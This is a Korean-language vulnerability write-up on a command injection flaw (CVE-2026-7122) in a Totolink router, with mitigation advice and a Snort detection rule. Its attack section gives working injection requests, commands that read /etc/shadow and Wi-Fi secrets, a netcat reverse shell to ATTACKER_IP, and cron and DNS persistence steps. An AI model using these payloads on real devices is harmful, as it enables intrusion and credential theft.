기본 원리: OS 명령 주입 (OS Command Injection)이란
OS 명령 주입(OS Command Injection)은 웹 애플리케이션이나 네트워크 장치가 사용자로부터 입력받은 데이터를 시스템의 운영체제(OS) 명령어로 사용될 때, 해당 입력 값에 대한 적절한 검증이나 필터링이 이루어지지 않아 발생하는 심각한 보안 취약점입니다. 공격자는 이 취약점을 이용해 장치의 운영체제에서 임의의 명령어를 실행할 수 있게 됩니다.
이 취약점은 주로 웹 서버 스크립트(CGI, PHP, ASP 등)나 장치 펌웨어에서 사용자 입력을 받아 system(), exec(), shell_exec()와 같은 함수를 통해 직접 OS 셸 명령어를 실행할 때 발생합니다. 예를 들어, ping 명령어를 실행하는 기능이 ping -c 4 <사용자_입력_IP> 형태로 구현되어 있다고 가정해봅시다. 이때 공격자가 192.168.1.1; ls -al / 와 같이 입력하면, ping -c 4 192.168.1.1이 실행된 후 ls -al / 명령도 함께 실행되어 버립니다.
취약점 상세
CVE-2026-7122는 Totolink A8000RU 라우터의 UPnP 설정 기능에서 발견된 OS 명령 주입 취약점입니다.
| 항목 | 내용 |
|---|---|
| 영향 장치 | Totolink A8000RU 7.1cu.643_b20200521 |
| 취약 파일 | /cgi-bin/cstecgi.cgi |
| 취약 함수 | setUPnPCfg |
| 취약 파라미터 | enable |
| 공격 벡터 | 네트워크 (원격), 인증 불필요 |
| CVSS 점수 | 9.8 (CRITICAL) |
setUPnPCfg 함수는 라우터의 UPnP(Universal Plug and Play) 기능 설정을 처리합니다. UPnP는 네트워크 장치들이 자동으로 상호 발견하고 포트 포워딩 등의 기능을 동적으로 설정할 수 있게 해주는 프로토콜입니다. UPnP 활성화 여부를 나타내는 enable 파라미터가 OS 명령에 직접 전달되어 검증 없이 실행됩니다.
공격 시나리오
공격 전제 조건
- 대상 라우터에 네트워크 접근 가능 (LAN 또는 WAN)
- 펌웨어 버전 7.1cu.643_b20200521 사용 중
개념적 공격 코드
1단계: 기본 명령 실행 확인
GET /cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;id HTTP/1.1
Host: [대상_라우터_IP]
응답에 uid=0(root) 포함 여부 확인.
2단계: 파일 시스템 탐색
GET /cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;ls%20-al%20/ HTTP/1.1
Host: [대상_라우터_IP]
URL 디코딩: enable=1;ls -al / → 루트 디렉토리 목록 출력.
3단계: 민감한 파일 읽기
# passwd 파일 읽기
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/passwd"
# shadow 파일 읽기 (root 계정 해시 탈취)
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/shadow"
# Wi-Fi 설정 (SSID/비밀번호) 탈취
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;cat%20/etc/config/wireless"
4단계: 리버스 쉘 연결
# 공격자 서버에서 먼저 리스너 실행
nc -lvnp 4444
# 그 후 라우터에 다음 요청 전송
curl "http://TARGET_IP/cgi-bin/cstecgi.cgi?action=setUPnPCfg&enable=1;nc%20ATTACKER_IP%204444%20-e%20/bin/sh"
5단계: 지속성 확보 리버스 쉘 획득 후:
# 공격자의 SSH 키 등록
echo "ssh-rsa ATTACKER_PUBLIC_KEY" >> /etc/authorized_keys
# 크론 작업 추가 (주기적 리버스 쉘)
echo "*/5 * * * * nc ATTACKER_IP 4444 -e /bin/sh" >> /etc/crontab
# 라우터 DNS 변경 (피싱 공격)
uci set network.wan.dns='ATTACKER_DNS_IP'
uci commit network
/etc/init.d/network restart
공격 가능한 피해 시나리오
- 모든 네트워크 트래픽 도청 (HTTP 평문, DNS 등)
- DNS 하이재킹으로 인터넷뱅킹/SNS 계정 탈취
- 내부망 모든 장치로 피벗팅
- 봇넷 에이전트 설치 (DDoS, 암호화폐 채굴 등)
탐지 방법
IDS/IPS 시그니처
# Snort/Suricata 규칙
alert http any any -> $HOME_NET any (
msg: "CVE-2026-7122 setUPnPCfg Command Injection";
content: "setUPnPCfg";
content: "enable=";
pcre: "/enable=[^&\s]*[;|&]/";
sid: 20267122; rev:1;
)
시스템 이상 징후 탐지
/proc/net/tcp에서 예상치 못한 외부 연결 확인ps명령으로 비정상적인 프로세스 확인 (netcat, wget, curl 실행)/tmp디렉토리의 새로운 파일 생성 모니터링- 라우터 DNS 설정 변경 여부 주기적 점검
대응 방법
즉각적인 조치
1. 펌웨어 업데이트 Totolink 공식 지원 페이지에서 CVE-2026-7122가 수정된 최신 펌웨어를 확인하고 업데이트합니다.
2. 원격 관리 비활성화
- 라우터 관리 패널 → 원격 관리 설정 → 비활성화
- WAN 측 HTTP/HTTPS 접근 차단
3. 방화벽 규칙 강화 라우터 관리 포트를 내부 신뢰 IP만 접근하도록 제한합니다.
장기적 보안 전략
- 취약한 장치를 최신 보안 기능이 탑재된 장치로 교체 검토
- 정기적인 네트워크 장치 취약점 스캔 프로세스 수립
- IoT 보안 정책 및 수명 주기 관리 체계 구축
- 네트워크 세그멘테이션으로 라우터 침해 시 피해 범위 최소화